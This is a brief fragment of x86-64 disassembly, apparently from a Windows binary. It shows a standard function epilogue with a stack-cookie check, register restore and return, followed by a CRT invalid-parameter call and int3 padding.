mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1400796c0
mov rbp, qword [rsp + 0x2b8]
add rsp, 0x290
pop rsi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3